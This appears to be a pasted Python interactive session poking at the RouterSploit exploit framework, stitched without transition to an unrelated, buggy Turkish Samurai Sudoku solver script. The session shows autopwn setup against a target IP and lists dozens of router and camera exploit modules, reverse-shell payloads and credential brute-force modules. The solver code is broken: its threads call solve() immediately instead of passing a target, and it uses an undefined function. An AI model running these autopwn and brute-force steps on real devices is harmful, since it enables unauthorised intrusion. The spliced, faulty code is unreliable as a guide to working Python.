>>> interpreter.RoutersploitInterpreter().commands()
['back', 'check', 'exec', 'exit', 'exploit', 'help', 'run', 'search', 'set', 'setg', 'show', 'unsetg', 'use']
>>> interpreter.RoutersploitInterpreter().commands('sudo su')
['back', 'check', 'exec', 'exit', 'exploit', 'help', 'run', 'search', 'set', 'setg', 'show', 'unsetg', 'use']
>>> interpreter.RoutersploitInterpreter().commands('show payloads')
['back', 'check', 'exec', 'exit', 'exploit', 'help', 'run', 'search', 'set', 'setg', 'show', 'unsetg', 'use']
>>> interpreter.RoutersploitInterpreter().commands('use scanners/autopwn')
['back', 'check', 'exec', 'exit', 'exploit', 'help', 'run', 'search', 'set', 'setg', 'show', 'unsetg', 'use']
>>> interpreter.RoutersploitInterpreter().commands('set target 192.168.1.1')
['back', 'check', 'exec', 'exit', 'exploit', 'help', 'run', 'search', 'set', 'setg', 'show', 'unsetg', 'use']
>>> interpreter.RoutersploitInterpreter().commands('set port 80')
['back', 'check', 'exec', 'exit', 'exploit', 'help', 'run', 'search', 'set', 'setg', 'show', 'unsetg', 'use']
>>> run
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'run' is not defined
>>> interpreter.RoutersploitInterpreter().commands('run')
['back', 'check', 'exec', 'exit', 'exploit', 'help', 'run', 'search', 'set', 'setg', 'show', 'unsetg', 'use']
>>> interpreter.RoutersploitInterpreter().commands('help')
['back', 'check', 'exec', 'exit', 'exploit', 'help', 'run', 'search', 'set', 'setg', 'show', 'unsetg', 'use']
>>> license
Type license() to see the full license text
>>> license()
A. HISTORY OF THE SOFTWARE
==========================
Python was created in the early 1990s by Guido van Rossum at Stichting
Mathematisch Centrum (CWI, see http://www.cwi.nl) in the Netherlands
as a successor of a language called ABC. Guido remains Python's
principal author, although it includes many contributions from others.
In 1995, Guido continued his work on Python at the Corporation for
National Research Initiatives (CNRI, see http://www.cnri.reston.va.us)
in Reston, Virginia where he released several versions of the
software.
In May 2000, Guido and the Python core development team moved to
BeOpen.com to form the BeOpen PythonLabs team. In October of the same
year, the PythonLabs team moved to Digital Creations, which became
Zope Corporation. In 2001, the Python Software Foundation (PSF, see
https://www.python.org/psf/) was formed, a non-profit organization
created specifically to own Python-related Intellectual Property.
Zope Corporation was a sponsoring member of the PSF.
All Python releases are Open Source (see http://www.opensource.org for
the Open Source Definition). Historically, most, but not all, Python
Hit Return for more, or q (and Return) to quit:
releases have also been GPL-compatible; the table below summarizes
the various releases.
Release Derived Year Owner GPL-
from compatible? (1)
0.9.0 thru 1.2 1991-1995 CWI yes
1.3 thru 1.5.2 1.2 1995-1999 CNRI yes
1.6 1.5.2 2000 CNRI no
2.0 1.6 2000 BeOpen.com no
1.6.1 1.6 2001 CNRI yes (2)
2.1 2.0+1.6.1 2001 PSF no
2.0.1 2.0+1.6.1 2001 PSF yes
2.1.1 2.1+2.0.1 2001 PSF yes
2.1.2 2.1.1 2002 PSF yes
2.1.3 2.1.2 2002 PSF yes
2.2 and above 2.1.1 2001-now PSF yes
Footnotes:
(1) GPL-compatible doesn't mean that we're distributing Python under
the GPL. All Python licenses, unlike the GPL, let you distribute
a modified version without making your changes open source. The
Hit Return for more, or q (and Return) to quit:
GPL-compatible licenses make it possible to combine Python with
other software that is released under the GPL; the others don't.
(2) According to Richard Stallman, 1.6.1 is not GPL-compatible,
because its license has a choice of law clause. According to
CNRI, however, Stallman's lawyer has told CNRI's lawyer that 1.6.1
is "not incompatible" with the GPL.
Thanks to the many outside volunteers who have worked under Guido's
direction to make these releases possible.
B. TERMS AND CONDITIONS FOR ACCESSING OR OTHERWISE USING PYTHON
===============================================================
PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2
--------------------------------------------
1. This LICENSE AGREEMENT is between the Python Software Foundation
("PSF"), and the Individual or Organization ("Licensee") accessing and
otherwise using this software ("Python") in source or binary form and
its associated documentation.
Hit Return for more, or q (and Return) to quit:
2. Subject to the terms and conditions of this License Agreement, PSF hereby
grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce,
analyze, test, perform and/or display publicly, prepare derivative works,
distribute, and otherwise use Python alone or in any derivative version,
provided, however, that PSF's License Agreement and PSF's notice of copyright,
i.e., "Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010,
2011, 2012, 2013, 2014, 2015, 2016, 2017 Python Software Foundation; All Rights
Reserved" are retained in Python alone or in any derivative version prepared by
Licensee.
3. In the event Licensee prepares a derivative work that is based on
or incorporates Python or any part thereof, and wants to make
the derivative work available to others as provided herein, then
Licensee hereby agrees to include in any such work a brief summary of
the changes made to Python.
4. PSF is making Python available to Licensee on an "AS IS"
basis. PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND
DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT
INFRINGE ANY THIRD PARTY RIGHTS.
Hit Return for more, or q (and Return) to quit:
5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON,
OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
6. This License Agreement will automatically terminate upon a material
breach of its terms and conditions.
7. Nothing in this License Agreement shall be deemed to create any
relationship of agency, partnership, or joint venture between PSF and
Licensee. This License Agreement does not grant permission to use PSF
trademarks or trade name in a trademark sense to endorse or promote
products or services of Licensee, or any third party.
8. By copying, installing or otherwise using Python, Licensee
agrees to be bound by the terms and conditions of this License
Agreement.
BEOPEN.COM LICENSE AGREEMENT FOR PYTHON 2.0
-------------------------------------------
BEOPEN PYTHON OPEN SOURCE LICENSE AGREEMENT VERSION 1
Hit Return for more, or q (and Return) to quit:
1. This LICENSE AGREEMENT is between BeOpen.com ("BeOpen"), having an
office at 160 Saratoga Avenue, Santa Clara, CA 95051, and the
Individual or Organization ("Licensee") accessing and otherwise using
this software in source or binary form and its associated
documentation ("the Software").
2. Subject to the terms and conditions of this BeOpen Python License
Agreement, BeOpen hereby grants Licensee a non-exclusive,
royalty-free, world-wide license to reproduce, analyze, test, perform
and/or display publicly, prepare derivative works, distribute, and
otherwise use the Software alone or in any derivative version,
provided, however, that the BeOpen Python License is retained in the
Software, alone or in any derivative version prepared by Licensee.
3. BeOpen is making the Software available to Licensee on an "AS IS"
basis. BEOPEN MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, BEOPEN MAKES NO AND
DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE WILL NOT
INFRINGE ANY THIRD PARTY RIGHTS.
4. BEOPEN SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF THE
Hit Return for more, or q (and Return) to quit: q
>>> dir(class)
File "<stdin>", line 1
dir(class)
^
SyntaxError: invalid syntax
>>> dir()
['LockedIterator', '__builtins__', '__doc__', '__name__', '__package__', 'boolify', 'command', 'exceptions', 'exploits', 'http_request', 'index_modules', 'interpreter', 'modules', 'multi', 'mute', 'payloads', 'print_error', 'print_info', 'print_status', 'print_success', 'print_table', 'printer', 'random_text', 'routersploit', 'sanitize_url', 'shell', 'ssh_interactive', 'test', 'tokenize', 'utils', 'validators', 'var', 'wordlists']
>>> help(command)
>>> help(command)
>>> help(command(__dict__))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__dict__' is not defined
>>> __dict__(command)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__dict__' is not defined
>>> dict(command)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ValueError: dictionary update sequence element #0 has length 1; 2 is required
>>> interpreter
<module 'routersploit.interpreter' from 'routersploit/interpreter.pyc'>
>>> printer interpreter
File "<stdin>", line 1
printer interpreter
^
SyntaxError: invalid syntax
>>> modules
<module 'routersploit.modules' from 'routersploit/modules/__init__.pyc'>
>>> dir()
['LockedIterator', '__builtins__', '__doc__', '__name__', '__package__', 'boolify', 'command', 'exceptions', 'exploits', 'http_request', 'index_modules', 'interpreter', 'modules', 'multi', 'mute', 'payloads', 'print_error', 'print_info', 'print_status', 'print_success', 'print_table', 'printer', 'random_text', 'routersploit', 'sanitize_url', 'shell', 'ssh_interactive', 'test', 'tokenize', 'utils', 'validators', 'var', 'wordlists']
>>> utils
<module 'routersploit.utils' from 'routersploit/utils/__init__.pyc'>
>>> ()
()
>>> routersploit.utils
<module 'routersploit.utils' from 'routersploit/utils/__init__.pyc'>
>>> routersploit.utils()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'module' object is not callable
>>> multi()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: multi() takes exactly 1 argument (0 given)
>>> multi.()
File "<stdin>", line 1
multi.()
^
SyntaxError: invalid syntax
>>> multi(self)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'self' is not defined
>>> dir(multi)
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
>>> globals(multi)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: globals() takes no arguments (1 given)
>>> vars(multi))
File "<stdin>", line 1
vars(multi))
^
SyntaxError: invalid syntax
>>> vars(multi)
{}
>>> __class__(multi))
File "<stdin>", line 1
__class__(multi))
^
SyntaxError: invalid syntax
>>> __list__(multi)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__list__' is not defined
>>> help(multi)
>>> __getattribute__(__hash__)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__getattribute__' is not defined
>>> help(__hash__)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__hash__' is not defined
>>> print(hash)
<built-in function hash>
>>> hash.()
File "<stdin>", line 1
hash.()
^
SyntaxError: invalid syntax
>>> hash()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: hash() takes exactly one argument (0 given)
>>> hash(self)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'self' is not defined
>>> dir()
['LockedIterator', '__builtins__', '__doc__', '__name__', '__package__', 'boolify', 'command', 'exceptions', 'exploits', 'http_request', 'index_modules', 'interpreter', 'modules', 'multi', 'mute', 'payloads', 'print_error', 'print_info', 'print_status', 'print_success', 'print_table', 'printer', 'random_text', 'routersploit', 'sanitize_url', 'shell', 'ssh_interactive', 'test', 'tokenize', 'utils', 'validators', 'var', 'wordlists']
>>> validators()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'module' object is not callable
>>> validators(dir)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'module' object is not callable
>>> dir(validators)
['OptionValidationError', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'address', 'boolify', 'choice', 'convert_ip', 'convert_port', 'integer', 'ipv4', 'socket', 'strtobool', 'url', 'urlparse']
>>> exceptions()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'module' object is not callable
>>> modules()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'module' object is not callable
>>> modules.()
File "<stdin>", line 1
modules.()
^
SyntaxError: invalid syntax
>>> module()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'module' is not defined
>>> index_modules()
['exploits.routers.cisco.ucs_manager_rce', 'exploits.routers.cisco.video_surv_path_traversal', 'exploits.routers.cisco.ios_http_authorization_bypass', 'exploits.routers.cisco.catalyst_2960_rocem', 'exploits.routers.cisco.unified_multi_path_traversal', 'exploits.routers.cisco.firepower_management60_path_traversal', 'exploits.routers.cisco.dpc2420_info_disclosure', 'exploits.routers.cisco.secure_acs_bypass', 'exploits.routers.cisco.firepower_management60_rce', 'exploits.routers.cisco.ucm_info_disclosure', 'exploits.routers.huawei.e5331_mifi_info_disclosure', 'exploits.routers.huawei.hg530_hg520b_password_disclosure', 'exploits.routers.huawei.hg630a_default_creds', 'exploits.routers.huawei.hg866_password_change', 'exploits.routers.huawei.hg520_info_dislosure', 'exploits.routers.multi.heartbleed', 'exploits.routers.multi.misfortune_cookie', 'exploits.routers.multi.shellshock', 'exploits.routers.multi.tcp_32764_rce', 'exploits.routers.multi.tcp_32764_info_disclosure', 'exploits.routers.multi.rom0', 'exploits.routers.multi.ssh_auth_keys', 'exploits.routers.2wire.4011g_5012nv_path_traversal', 'exploits.routers.2wire.gateway_auth_bypass', 'exploits.routers.juniper.screenos_backdoor', 'exploits.routers.tplink.archer_c2_c20i_rce', 'exploits.routers.tplink.wdr740nd_wdr740n_path_traversal', 'exploits.routers.tplink.wdr740nd_wdr740n_backdoor', 'exploits.routers.tplink.wdr842nd_wdr842n_configure_disclosure', 'exploits.routers.netgear.multi_rce', 'exploits.routers.netgear.r7000_r6400_rce', 'exploits.routers.netgear.wnr500_612v3_jnr1010_2010_path_traversal', 'exploits.routers.netgear.n300_auth_bypass', 'exploits.routers.netgear.multi_password_disclosure-2017-5521', 'exploits.routers.netgear.prosafe_rce', 'exploits.routers.netgear.jnr1010_path_traversal', 'exploits.routers.netgear.dgn2200_dnslookup_cgi_rce', 'exploits.routers.netgear.dgn2200_ping_cgi_rce', 'exploits.routers.linksys.1500_2500_rce', 'exploits.routers.linksys.smartwifi_password_disclosure', 'exploits.routers.linksys.wap54gv3_rce', 'exploits.routers.linksys.wrt100_110_rce', 'exploits.routers.fortinet.fortigate_os_backdoor', 'exploits.routers.asus.infosvr_backdoor_rce', 'exploits.routers.asus.rt_n16_password_disclosure', 'exploits.routers.ipfire.ipfire_proxy_rce', 'exploits.routers.ipfire.ipfire_shellshock', 'exploits.routers.belkin.g_plus_info_disclosure', 'exploits.routers.belkin.g_n150_password_disclosure', 'exploits.routers.belkin.play_max_prce', 'exploits.routers.belkin.n150_path_traversal', 'exploits.routers.belkin.n750_rce', 'exploits.routers.belkin.auth_bypass', 'exploits.routers.bhu.bhu_urouter_rce', 'exploits.routers.dlink.dir_825_path_traversal', 'exploits.routers.dlink.dir_645_password_disclosure', 'exploits.routers.dlink.dir_300_320_600_615_info_disclosure', 'exploits.routers.dlink.dir_645_815_rce', 'exploits.routers.dlink.dsl_2640b_dns_change', 'exploits.routers.dlink.dsl_2730b_2780b_526b_dns_change', 'exploits.routers.dlink.dwr_932_info_disclosure', 'exploits.routers.dlink.dvg_n5402sp_path_traversal', 'exploits.routers.dlink.dsp_w110_rce', 'exploits.routers.dlink.dsl_2730_2750_path_traversal', 'exploits.routers.dlink.dir_300_320_615_auth_bypass', 'exploits.routers.dlink.dcs_930l_auth_rce', 'exploits.routers.dlink.dwl_3200ap_password_disclosure', 'exploits.routers.dlink.dsl_2740r_dns_change', 'exploits.routers.dlink.dwr_932b_backdoor', 'exploits.routers.dlink.dir_300_645_815_upnp_rce', 'exploits.routers.dlink.multi_hedwig_cgi_exec', 'exploits.routers.dlink.dir_815_850l_rce', 'exploits.routers.dlink.dgs_1510_add_user', 'exploits.routers.dlink.multi_hnap_rce', 'exploits.routers.dlink.dir_300_600_rce', 'exploits.routers.dlink.dns_320l_327l_rce', 'exploits.routers.dlink.dsl_2750b_info_disclosure', 'exploits.routers.3com.officeconnect_rce', 'exploits.routers.3com.imc_info_disclosure', 'exploits.routers.3com.3cradsl72_info_disclosure', 'exploits.routers.3com.officeconnect_info_disclosure', 'exploits.routers.3com.ap8760_password_disclosure', 'exploits.routers.3com.imc_path_traversal', 'exploits.routers.netsys.multi_rce', 'exploits.routers.netcore.udp_53413_rce', 'exploits.routers.thomson.twg849_info_disclosure', 'exploits.routers.thomson.twg850_password_disclosure', 'exploits.routers.billion.5200w_rce', 'exploits.routers.billion.7700nr4_password_disclosure', 'exploits.routers.movistar.adsl_router_bhs_rta_path_traversal', 'exploits.routers.zyxel.p660hn-t_v1_rce', 'exploits.routers.zyxel.p660hn-t_v2_rce', 'exploits.routers.zyxel.d1000_rce', 'exploits.routers.zyxel.d1000_wifi_password_disclosure', 'exploits.routers.zyxel.zywall_usg_extract_hashes', 'exploits.routers.ubiquiti.airos_6_x', 'exploits.routers.comtrend.ct_5361t_password_disclosure', 'exploits.routers.asmax.ar_1004g_password_disclosure', 'exploits.routers.asmax.ar_804_gu_rce', 'exploits.routers.technicolor.tg784_authbypass', 'exploits.routers.technicolor.tc7200_password_disclosure', 'exploits.routers.technicolor.dwg855_authbypass', 'exploits.routers.technicolor.tc7200_password_disclosure_v2', 'exploits.routers.zte.f660_config_disclosure', 'exploits.routers.zte.zxv10_rce', 'exploits.routers.zte.f609_config_disclosure', 'exploits.routers.zte.f460_f660_backdoor', 'exploits.routers.zte.f6xx_default_root', 'exploits.routers.shuttle.915wm_dns_change', 'exploits.cameras.videoiq.videoiq_camera_path_traversal', 'exploits.cameras.multi.netwave_IP_camera', 'exploits.cameras.multi.jvc_vanderbilt_honeywell_path_traversal', 'exploits.cameras.multi.P2P_wificam_rce', 'exploits.cameras.multi.P2P_wificam_credential_disclosure', 'exploits.cameras.honeywell.hicc_1100pt_password_disclosure', 'exploits.cameras.dlink.dcs_930l_932l_auth_bypass', 'exploits.cameras.brickcom.corp_network_cameras_conf_disclosure', 'exploits.cameras.brickcom.users_cgi_cred_disclosure', 'exploits.cameras.grandstream.gxv3611hd_ip_camera_rce', 'exploits.cameras.siemens.CVMS2025_credentials_disclosure', 'exploits.misc.asus.b1m_projector_rce', 'exploits.misc.miele.pg8528_path_traversal', 'exploits.misc.wepresent.wipg1000_rce', 'payloads.mipsbe.reverse_tcp', 'payloads.mipsbe.bind_tcp', 'payloads.generic.netcat_reverse_tcp', 'payloads.generic.awk_bind_tcp', 'payloads.generic.awk_reverse_tcp', 'payloads.generic.netcat_bind_tcp', 'payloads.mipsle.reverse_tcp', 'payloads.mipsle.bind_tcp', 'payloads.armle.reverse_tcp', 'payloads.armle.bind_tcp', 'scanners.netgear_scan', 'scanners.cisco_scan', 'scanners.cameras_scan', 'scanners.asus_scan', 'scanners.technicolor_scan', 'scanners.linksys_scan', 'scanners.3com_scan', 'scanners.zte_scan', 'scanners.zyxel_scan', 'scanners.misc_scan', 'scanners.autopwn', 'scanners.movistar_scan', 'scanners.multi_scan', 'scanners.2wire_scan', 'scanners.grandstream_scan', 'scanners.shuttle_scan', 'scanners.netsys_scan', 'scanners.tplink_scan', 'scanners.comtrend_scan', 'scanners.routers_scan', 'scanners.thomson_scan', 'scanners.asmax_scan', 'scanners.ubiquiti_scan', 'scanners.belkin_scan', 'scanners.juniper_scan', 'scanners.netcore_scan', 'scanners.billion_scan', 'scanners.fortinet_scan', 'scanners.bhu_scan', 'scanners.ipfire_scan', 'scanners.dlink_scan', 'scanners.huawei_scan', 'creds.ftp_default', 'creds.http_basic_bruteforce', 'creds.ssh_default', 'creds.telnet_bruteforce', 'creds.ftp_bruteforce', 'creds.http_digest_default', 'creds.telnet_default', 'creds.snmp_bruteforce', 'creds.http_form_default', 'creds.http_form_bruteforce', 'creds.ssh_bruteforce', 'creds.http_digest_bruteforce', 'creds.http_basic_default']
>>>
>>>
"""
|
samuraithread.py
|
import threading
import time
import samuraithread
from solutionthread import *
threadTime = time.time()
sayi=0
sayi2=0
topleft = []
topright = []
bottomleft = []
bottomright = []
middle = []
def vektorel(A, B):
return [a+b for a in A for b in B]
rakamlar= '123456789'
satir= 'ABCDEFGHI'
sutun= rakamlar
kare = vektorel(satir, sutun)
birimliste = ([vektorel(satir, c) for c in sutun] +
[vektorel(r, sutun) for r in satir] +
[vektorel(rs, cs) for rs in ('ABC','DEF','GHI') for cs in ('123','456','789')])
birim = dict((s, [u for u in birimliste if s in u])
for s in kare)
iliski = dict((s, set(sum(birim[s],[]))-set([s]))
for s in kare)
def olasi_degerler(grid):
degerler = dict((s, rakamlar) for s in kare)
for s,d in deger_ayir(grid).items():
if d in rakamlar and not atama(degerler, s, d):
return False
return degerler
def deger_ayir(grid):
harfler = [c for c in grid if c in rakamlar or c in '*']
assert len(harfler) == 81
return dict(zip(kare, harfler))
def atama(degerler, s, d):
diger_degerler = degerler[s].replace(d, '')
if all(eleme(degerler, s, d2) for d2 in diger_degerler):
return degerler
else:
return False
def eleme(degerler, s, d):
adimlar = open("C:/Users/Gรถkรงe Yฤฑlmaz/Desktop/SamuraiSudokuSolver/threadadimlari.TXT", "a")
if d not in degerler[s]:
return degerler
degerler[s] = degerler[s].replace(d,'')
if len(degerler[s]) == 0:
return False
elif len(degerler[s]) == 1:
d2 = degerler[s]
if not all(eleme(degerler, s2, d2) for s2 in iliski[s]):
return False
for u in birim[s]:
dplaces = [s for s in u if d in degerler[s]]
if len(dplaces) == 0:
return False
elif len(dplaces) == 1:
if not atama(degerler, dplaces[0], d):
return False
adimlar.write(str(degerler))
adimlar.write("\n")
adimlar.write("Thread ile harcanan zaman: " + str(time.time() - threadTime))
adimlar.write("\n")
adimlar.write("\n")
return degerler
def display(degerler):
"""
Konsolda sudoku kฤฑsฤฑmlarฤฑnฤฑ yazdฤฑrma
"""
samuraithread.sayi = samuraithread.sayi + 1
width = 1 + max(len(degerler[s]) for s in kare)
line = '+'.join(['-' * (width * 3)] * 3)
for r in satir:
print(''.join(degerler[r+c].center(width) + ('|' if c in '36' else '') for c in sutun))
if r in 'CF': print(line)
solution("A", degerler)
solution("B", degerler)
solution("C", degerler)
solution("D", degerler)
solution("E", degerler)
solution("F", degerler)
solution("G", degerler)
solution("H", degerler)
solution("I", degerler)
print(samuraithread.sayi)
print()
samuraithread.sayi2= samuraithread.sayi2 +1
def solution(letter,vals):
if samuraithread.sayi==1:
i = 1
while i < 10:
topleft.append(vals[letter + str(i)])
i = i + 1
elif samuraithread.sayi==2:
i = 1
while i < 10:
topright.append(vals[letter + str(i)])
i = i + 1
elif samuraithread.sayi==3:
i = 1
while i < 10:
bottomleft.append(vals[letter + str(i)])
i = i + 1
elif samuraithread.sayi==4:
i = 1
while i < 10:
bottomright.append(vals[letter + str(i)])
i = i + 1
elif samuraithread.sayi==5:
i = 1
while i < 10:
middle.append(vals[letter + str(i)])
i = i + 1
def degerler_ayristir(grid):
"Txt dosyasฤฑndan alฤฑnan deฤerlerin hangi satฤฑrฤฑn hangi kareye ait olduฤunu ayฤฑrฤฑr"
a = ([x[:9] for x in grid[:9]])
a1 = str(a[0]+a[1]+a[2]+a[3]+a[4]+a[5]+a[6]+a[7]+a[8])
b = ([x[9:] for x in grid[:6]] + [x[12:] for x in grid[6:9]])
b1 = str(b[0] + b[1] + b[2] + b[3] + b[4] + b[5] + b[6] + b[7] + b[8])
c = ([x[:9] for x in grid[12:]])
c1 = str(c[0] + c[1] + c[2] + c[3] + c[4] + c[5] + c[6] + c[7] + c[8])
d = ([x[12:] for x in grid[12:15]] + [x[9:] for x in grid[15:]])
#d1 = str(d[0] + d[1] + d[2] + d[3] + d[4] + d[5] + d[6] + d[7] + d[8])
orta = ([x[6:15] for x in grid[6:9]] + [x[:9] for x in grid[9:12]] + [x[6:15] for x in grid[12:15]])
i=0
j=0
ortaa=[]
for i in range(9):
for j in range(9):
ortaa.append(orta[i][j])
i = 0
j = 0
dd = []
for i in range(9):
for j in range(9):
dd.append(d[i][j])
print(str(ortaa[0]+ortaa[1]))
Thread1 = threading.Thread(target=solve(a1))
Thread1.start()
threadTime1 = time.time()
a1= solve2(a1)
b1 = solve2(b1)
c1 = solve2(c1)
ortaa[0]= a1[60]
ortaa[1] = a1[61]
ortaa[2] = a1[62]
ortaa[9] = a1[69]
ortaa[10] = a1[70]
ortaa[11] = a1[71]
ortaa[18] = a1[78]
ortaa[19] = a1[79]
ortaa[20] = a1[80]
ortaa[6] = b1[54]
ortaa[7] = b1[55]
ortaa[8] = b1[56]
ortaa[15] = b1[63]
ortaa[16] = b1[64]
ortaa[17] = b1[65]
ortaa[24] = b1[72]
ortaa[25] = b1[73]
ortaa[26] = b1[74]
ortaa[54] = c1[6]
ortaa[55] = c1[7]
ortaa[56] = c1[8]
ortaa[63] = c1[15]
ortaa[64] = c1[16]
ortaa[65] = c1[17]
orta1=(str(ortaa[0] + ortaa[1] + ortaa[2]+ ortaa[3]+ ortaa[4]+ ortaa[5]+ ortaa[6]+ ortaa[7]+ ortaa[8]+ ortaa[9]
+ ortaa[10]+ ortaa[11]+ ortaa[12]+ ortaa[13]+ ortaa[14]+ ortaa[15]+ ortaa[16]+ ortaa[17]+ ortaa[18]+ ortaa[19]
+ ortaa[20]+ ortaa[21]+ ortaa[22]+ ortaa[23]+ ortaa[24]+ ortaa[25]+ ortaa[26]+ ortaa[27]+ ortaa[28]+ ortaa[29]
+ ortaa[30]+ ortaa[31]+ ortaa[32]+ ortaa[33]+ ortaa[34]+ ortaa[35]+ ortaa[36]+ ortaa[37]+ ortaa[38]+ ortaa[39]
+ ortaa[40]+ ortaa[41]+ ortaa[42]+ ortaa[43]+ ortaa[44]+ ortaa[45]+ ortaa[46]+ ortaa[47]+ ortaa[48]+ ortaa[49]
+ ortaa[50]+ ortaa[51]+ ortaa[52]+ ortaa[53]+ ortaa[54]+ ortaa[55]+ ortaa[56]+ ortaa[57]+ ortaa[58]+ ortaa[59]
+ ortaa[60]+ ortaa[61]+ ortaa[62]+ ortaa[63]+ ortaa[64]+ ortaa[65]+ ortaa[66]+ ortaa[67]+ ortaa[68]+ ortaa[69]
+ ortaa[70]+ ortaa[71]+ ortaa[72]+ ortaa[73]+ ortaa[74]+ ortaa[75]+ ortaa[76]+ ortaa[77]+ ortaa[78]+ ortaa[79]
+ ortaa[80]))
orta1 = solve2(orta1)
dd[0] = orta1[60]
dd[1] = orta1[61]
dd[2] = orta1[62]
dd[9] = orta1[69]
dd[10] = orta1[70]
dd[11] = orta1[71]
d1 = (
str(dd[0] + dd[1] + dd[2] + dd[3] + dd[4] + dd[5] + dd[6] + dd[7] + dd[8] + dd[9]
+ dd[10] + dd[11] + dd[12] + dd[13] + dd[14] + dd[15] + dd[16] + dd[17] + dd[
18] + dd[19]+ dd[20] + dd[21] + dd[22] + dd[23] + dd[24] + dd[25] + dd[26] + dd[27] + dd[
28] + dd[29]+ dd[30] + dd[31] + dd[32] + dd[33] + dd[34] + dd[35] + dd[36] + dd[37] + dd[
38] + dd[39]+ dd[40] + dd[41] + dd[42] + dd[43] + dd[44] + dd[45] + dd[46] + dd[47] + dd[
48] + dd[49]+ dd[50] + dd[51] + dd[52] + dd[53] + dd[54] + dd[55] + dd[56] + dd[57] + dd[
58] + dd[59]+ dd[60] + dd[61] + dd[62] + dd[63] + dd[64] + dd[65] + dd[66] + dd[67] + dd[
68] + dd[69]+ dd[70] + dd[71] + dd[72] + dd[73] + dd[74] + dd[75] + dd[76] + dd[77] + dd[
78] + dd[79]+ dd[80]))
Thread2 = threading.Thread(target= solve(b1))
Thread2.start()
threadTime2 = time.time()
Thread3 = threading.Thread(target=solve(c1))
Thread3.start()
threadTime3 = time.time()
#orta1 = str(orta[0] + orta[1] + orta[2] + orta[3] + orta[4] + orta[5] + orta[6] + orta[7] + orta[8])
Thread4 = threading.Thread(target=solve(d1))
Thread4.start()
threadTime4 = time.time()
Thread5 = threading.Thread(target=solve(orta1))
Thread5.start()
threadTime5 = time.time()
Thread1.join()
Thread2.join()
Thread3.join()
Thread4.join()
Thread5.join()
print("1. Thread ile harcanan zaman: " + str(time.time() - threadTime1))
print("2. Thread ile harcanan zaman: " + str(time.time() - threadTime2))
print("3. Thread ile harcanan zaman: " + str(time.time() - threadTime3))
print("4. Thread ile harcanan zaman: " + str(time.time() - threadTime4))
print("5. Thread ile harcanan zaman: " + str(time.time() - threadTime5))
def solve(grid):
ans = search(olasi_degerler(grid))
display(ans)
def solve2(grid):
ans = search(olasi_degerler(grid))
yeni= str(ans['A1']+ans['A2']+ans['A3']+ans['A4']+ans['A5']+ans['A6']+ans['A7']+ans['A8']+ans['A9']+ans['B1']+ans['B2']
+ans['B3']+ans['B4']+ans['B5']+ans['B6']+ans['B7']+ans['B8']+ans['B9']+ans['C1']+ans['C2']+ans['C3']+ans['C4']
+ans['C5']+ans['C6']+ans['C7']+ans['C8']+ans['C9']+ans['D1']+ans['D2']+ans['D3']+ans['D4']+ans['D5']+ans['D6']
+ans['D7']+ans['D8']+ans['D9']+ans['E1']+ans['E2']+ans['E3']+ans['E4']+ans['E5']+ans['E6']+ans['E7']+ans['E8']
+ans['E9']+ans['F1']+ans['F2']+ans['F3']+ans['F4']+ans['F5']+ans['F6']+ans['F7']+ans['F8']+ans['F9']
+ ans['G1'] + ans['G2'] + ans['G3'] + ans['G4'] + ans['G5'] + ans['G6'] + ans['G7'] + ans['G8'] + ans['G9'] + ans['H1'] + ans['H2']
+ ans['H3'] + ans['H4'] + ans['H5'] + ans['H6'] + ans['H7'] + ans['H8'] + ans['H9'] + ans['I1'] + ans[
'I2'] + ans['I3'] + ans['I4']+ ans['I5'] + ans['I6'] + ans['I7'] + ans['I8'] + ans['I9']
)
return yeni
def search(degerler):
if degerler is False:
return False
if all(len(degerler[s]) == 1 for s in kare):
return degerler
n,s = min((len(degerler[s]), s) for s in kare if len(degerler[s]) > 1)
return some(search(atama(degerler.copy(), s, d)) for d in degerler[s])
